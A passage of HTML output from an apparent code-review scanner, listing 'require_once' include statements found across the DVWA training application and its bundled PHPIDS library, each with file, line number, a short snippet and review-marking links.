4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./index.php</span>:<span class='line_number'>5</span> <span class='match_count'>(2/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4- 5:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 6- 7-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>5</span> <span class='match_count'>(3/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4- 5:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 6- 7-dvwaPageStartup( array( 'phpids' ) ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./ids_log.php</span>:<span class='line_number'>4</span> <span class='match_count'>(4/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-define( 'DVWA_WEB_ROOT_TO_PHPIDS_LOG', 'external/phpids/'.dvwaPhpIdsVersionGet().'/lib/IDS/tmp/phpids_log.txt' ); 7-define( 'DVWA_WEB_PAGE_TO_PHPIDS_LOG', DVWA_WEB_PAGE_TO_ROOT.DVWA_WEB_ROOT_TO_PHPIDS_LOG );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./about.php</span>:<span class='line_number'>4</span> <span class='match_count'>(5/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./security.php</span>:<span class='line_number'>4</span> <span class='match_count'>(6/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(7/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(8/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/csrf/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'csrf'; 33-$page[ 'source_button' ] = 'csrf';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(9/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(10/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/fi/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'fi'; 33-$page[ 'source_button' ] = 'fi';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(11/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(12/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/sqli_blind/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'sqli_blind'; 33-$page[ 'source_button' ] = 'sqli_blind';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source.php</span>:<span class='line_number'>4</span> <span class='match_count'>(13/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(14/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(15/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/brute/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'brute'; 33-$page[ 'source_button' ] = 'brute';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(16/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(17/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/exec/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'exec'; 33-$page[ 'source_button' ] = 'exec';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(18/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(19/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/upload/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'upload'; 33-$page[ 'source_button' ] = 'upload';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_help.php</span>:<span class='line_number'>4</span> <span class='match_count'>(20/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(21/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(22/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/sqli/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'sqli'; 33-$page[ 'source_button' ] = 'sqli';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source_all.php</span>:<span class='line_number'>3</span> <span class='match_count'>(23/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 3:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 4- 5-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(24/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(25/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/xss_s/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'xss_s'; 33-$page[ 'source_button' ] = 'xss_s';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(26/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(27/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require_once</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/xss_r/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'xss_r'; 33-$page[ 'source_button' ] = 'xss_r';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>30</span> <span class='match_count'>(28/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- session_start(); 28-} 29- 30:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 31- 32-try { 33-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>87</span> <span class='match_count'>(29/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>84- /* 85- * The following steps are optional to log the results 86- */ 87: <span class='match_highlight'>require_once</span> 'IDS/Log/File.php'; 88: <span class='match_highlight'>require_once</span> 'IDS/Log/Composite.php'; 89- 90- $compositeLog = new IDS_Log_Composite(); 91- $compositeLog->addLogger(IDS_Log_File::getInstance($init));</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>101</span> <span class='match_count'>(30/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>98- */ 99- /* 100- * 101: <span class='match_highlight'>require_once</span> 'IDS/Log/Email.php'; 102: <span class='match_highlight'>require_once</span> 'IDS/Log/Database.php'; 103- 104- $compositeLog->addLogger( 105- IDS_Log_Email::getInstance($init),</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/ReportTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(31/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:ReportTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require_once</span> 'IDS/Report.php'; 25:<span class='match_highlight'>require_once</span> 'IDS/Event.php'; 26- 27-class IDS_ReportTest extends PHPUnit_Framework_TestCase 28-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>21</span> <span class='match_count'>(32/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- * @package PHPIDS tests 19- * @version SVN: $Id:MonitorTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 22-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 23:<span class='match_highlight'>require_once</span> 'IDS/Monitor.php'; 24:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 25:<span class='match_highlight'>require_once</span> 'IDS/Filter/Storage.php'; 26- 27-class IDS_MonitorTest extends PHPUnit_Framework_TestCase { 28-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/EventTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(33/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:EventTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require_once</span> 'IDS/Event.php'; 25:<span class='match_highlight'>require_once</span> 'IDS/Filter.php'; 26- 27-class IDS_EventTest extends PHPUnit_Framework_TestCase 28-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/ExceptionTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(34/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:ExceptionTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21- 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 25:<span class='match_highlight'>require_once</span> 'IDS/Caching/Factory.php'; 26:<span class='match_highlight'>require_once</span> 'IDS/Report.php'; 27:<span class='match_highlight'>require_once</span> 'IDS/Event.php'; 28:<span class='match_highlight'>require_once</span> 'IDS/Filter.php'; 29:<span class='match_highlight'>require_once</span> 'IDS/Monitor.php'; 30:<span class='match_highlight'>require_once</span> 'IDS/Filter/Storage.php'; 31- 32-class IDS_ExceptionTest extends PHPUnit_Framework_TestCase 33-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/FilterTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(35/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:FilterTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 25- 26-class IDS_FilterTest extends PHPUnit_Framework_TestCase 27- {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/InitTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(36/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:InitTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21- 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 25- 26-class IDS_InitTest extends PHPUnit_Framework_TestCase { 27-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/CachingTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(37/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:CachingTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require_once</span> 'IDS/Init.php'; 25:<span class='match_highlight'>require_once</span> 'IDS/Caching/Factory.php'; 26- 27-class IDS_CachingTest extends PHPUnit_Framework_TestCase { 28-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/allTests.php</span>:<span class='line_number'>22</span> <span class='match_count'>(38/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:allTests.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21-error_reporting(E_ALL | E_STRICT | @E_DEPRECATED); 22:<span class='match_highlight'>require_once</span> 'PHPUnit/Framework/TestSuite.php'; 23:<span class='match_highlight'>require_once</span> 'PHPUnit/TextUI/TestRunner.php'; 24:<span class='match_highlight'>require_once</span> 'PHPUnit/Util/Filter.php'; 25- 26-PHPUnit_Util_Filter::addDirectoryToFilter(dirname(__FILE__)); 27-PHPUnit_Util_Filter::addDirectoryToFilter(dirname(__FILE__) . '/../lib/IDS/vendors');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/allTests.php</span>:<span class='line_number'>45</span> <span class='match_count'>(39/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- public static function suite() 43- { 44- $suite = new PHPUnit_Framework_TestSuite('PHPIDS'); 45: <span class='match_highlight'>require_once</span> 'IDS/MonitorTest.php'; 46- $suite->addTestSuite('IDS_MonitorTest'); 47: <span class='match_highlight'>require_once</span> 'IDS/ReportTest.php'; 48- $suite->addTestSuite('IDS_ReportTest'); 49: <span class='match_highlight'>require_once</span> 'IDS/InitTest.php'; 50- $suite->addTestSuite('IDS_InitTest'); 51: <span class='match_highlight'>require_once</span> 'IDS/ExceptionTest.php'; 52- $suite->addTestSuite('IDS_ExceptionTest'); 53: <span class='match_highlight'>require_once</span> 'IDS/FilterTest.php'; 54- $suite->addTestSuite('IDS_FilterTest'); 55: <span class='match_highlight'>require_once</span> 'IDS/CachingTest.php'; 56- $suite->addTestSuite('IDS_CachingTest'); 57: <span class='match_highlight'>require_once</span> 'IDS/EventTest.php'; 58- $suite->addTestSuite('IDS_EventTest'); 59- return $suite; 60- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Session.php</span>:<span class='line_number'>34</span> <span class='match_count'>(40/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Caching/Interface.php'; 35- 36-/** 37- * File caching wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Memcached.php</span>:<span class='line_number'>34</span> <span class='match_count'>(41/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Caching/Interface.php'; 35- 36-/** 37- * File caching wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/File.php</span>:<span class='line_number'>34</span> <span class='match_count'>(42/58)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require_once</span> 'IDS/Caching/Interface.php'; 35- 36-/** 37- * File caching wrapper</code></pre> </div> </div> 